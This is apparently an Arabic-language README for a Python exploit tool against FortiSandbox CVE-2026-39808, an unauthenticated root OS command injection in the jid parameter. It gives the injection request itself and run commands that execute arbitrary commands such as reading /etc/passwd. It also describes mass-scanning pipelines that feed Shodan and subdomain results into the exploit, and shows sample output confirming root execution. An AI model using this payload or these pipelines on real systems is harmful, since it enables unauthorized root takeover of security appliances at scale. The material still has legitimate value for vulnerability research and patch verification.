
# ماسح RCE غير مصادق عليه لـ FortiSandbox CVE-2026-39808 مع تحقق قائم على الكناري، وتنفيذ أوامر، وتكامل خط أنابيب للمسح الجماعي.
حقن أوامر نظام تشغيل غير مصادق عليه بصلاحيات root في Fortinet FortiSandbox
الثغرة • التثبيت • الاستخدام • كيفية العمل • خط الأنابيب • استعلامات Shodan • إخلاء المسؤولية
CVE-2026-39808 هي ثغرة حرجة لحقن أوامر نظام التشغيل غير مصادق عليه في Fortinet FortiSandbox. يفشل نقطة نهاية API الخاصة بـ /fortisandbox/job-detail/tracer-behavior في تعقيم معامل jid، مما يسمح للمهاجم بحقن أوامر نظام تشغيل عشوائية تُنفَّذ بصلاحيات root — دون أي مصادقة.
| التفاصيل | القيمة |
|---|---|
| معرف CVE | CVE-2026-39808 |
| درجة CVSS | 9.8 (حرجة) |
| متجه الهجوم | الشبكة |
| المصادقة | لا شيء |
| الصلاحيات | Root |
| الإصدارات المتأثرة | FortiSandbox < 4.4.9 |
| تم التصحيح في | 4.4.9 وما فوق |
| الاستشارة | FG-IR-25-325 |
يتم تمرير معامل jid في نقطة نهاية tracer-behavior مباشرة إلى أمر نظام دون تعقيم. باستخدام رموز الأنابيب (|)، يمكن للمهاجم الخروج من سياق الأمر المقصود وتنفيذ أوامر عشوائية:
GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1
يتم كتابة المخرجات إلى /web/ng/out.txt، وهو متاح عبر /ng/out.txt على خادم الويب — مما يوفر آلية قراءة رجعية ملائمة لحقن الأوامر العمياء.
صفر تبعيات. مكتبة Python القياسية 3.7+ فقط.
git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py
# التحقق مما إذا كان الهدف معرضًا للثغرة (يستخدم اكتشافًا قائمًا على الكناري)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com
# تنفيذ أمر محدد على الهدف
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"
# التحقق فقط من وجود الثغرة، دون تنفيذ --cmd
python3 fortisandbox_rce.py -u https://target.com --verify-only
python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080
python3 fortisandbox_rce.py -u https://target.com -o report.json
# من قائمة عناوين URL
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json
# subfinder → httpx → الماسح
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin
# Shodan → الماسح
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
sed 's/^/https:\/\//' | httpx -silent | \
python3 fortisandbox_rce.py --stdin --verify-only -o results.json
usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
[--proxy PROXY] [--timeout TIMEOUT]
[--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]
Options:
-u, --url URL عنوان URL الهدف
--stdin قراءة عناوين URL من stdin (وضع خط الأنابيب)
--cmd CMD أمر نظام التشغيل للتنفيذ (الافتراضي: id)
--verify-only التحقق فقط من الثغرة، دون تنفيذ --cmd
--proxy PROXY وكيل HTTP (مثال: http://127.0.0.1:8080)
--timeout TIMEOUT مهلة HTTP بالثواني (الافتراضي: 15)
--rate-limit RATE_LIMIT التأخير بين الأهداف بالمللي ثانية (الافتراضي: 0)
-o, --output FILE ملف تقرير JSON للإخراج
--no-banner إخفاء الشعار
يستخدم الماسح عملية تحقق من 5 خطوات مع منع صارم للإيجابيات الكاذبة:
الخطوة 1 → اكتشاف FortiSandbox (بصمة العنوان/الترويسة)
الخطوة 2 → التحقق من وجود نقطة النهاية المعرضة للثغرة
الخطوة 3 → حقن سلسلة كناري فريدة عبر حقن الأوامر
الخطوة 4 → قراءة /ng/out.txt والتحقق من الكناري (تحقق صارم من النص العادي)
الخطوة 5 → تنفيذ أمر المستخدم + التنظيف
ينفذ الماسح طبقات متعددة من التحقق للقضاء على الإيجابيات الكاذبة:
text/htmlid — مطابقة نمط صارمة uid=\d+(\w+) مع فحص معقول للحجم (<1000 بايت)/ng تلقائيًا لمنع مشاكل المسار المزدوج ╔══════════════════════════════════════════════════════════╗
║ FortiSandbox RCE Scanner v1.0 — CVE-2026-39808 ║
║ Unauthenticated Command Injection (root) ║
╚══════════════════════════════════════════════════════════╝
mitsec | @ynsmroztas
┌──────────────────────────────────────────────────────────┐
│ Target: https://fortisandbox.example.com │
└──────────────────────────────────────────────────────────┘
✓ تم اكتشاف FortiSandbox!
▸ فحص نقطة النهاية: /fortisandbox/job-detail/tracer-behavior
▸ حالة نقطة النهاية: 200 | نوع المحتوى: text/html
▸ حقن الكناري: mitsec_a8k3m2x1
▸ قراءة المخرجات: https://fortisandbox.example.com/ng/out.txt
CRITICAL 🔥 VULNERABLE — CVE-2026-39808 CONFIRMED!
CRITICAL Target: https://fortisandbox.example.com
✓ تم التحقق من الكناري 'mitsec_a8k3m2x1' في المخرجات (نص عادي نظيف)
──────────────────────────────────────────────────────────
Command Output: id
──────────────────────────────────────────────────────────
│ uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────────────────
✓ تم تنظيف ملف المخرجات
┌──────────────────────────────────────────────────────────┐
│ Target: https://patched.example.com │
└──────────────────────────────────────────────────────────┘
✓ تم اكتشاف FortiSandbox!
▸ فحص نقطة النهاية: /fortisandbox/job-detail/tracer-behavior
✗ أعادت نقطة النهاية 404 — غير معرضة للثغرة أو تم تصحيحها
▸ قراءة المخرجات: https://target.com/ng/out.txt
⚠ يعيد عنوان URL للإخراج صفحة HTML — هذه هي Angular SPA، وليست مخرجات أوامر
▸ نوع المحتوى: text/html
▸ هذه إيجابية كاذبة — /ng/out.txt يخدم ملف index.html الخاص بـ SPA
▸ لا يبدو أن الهدف معرض للثغرة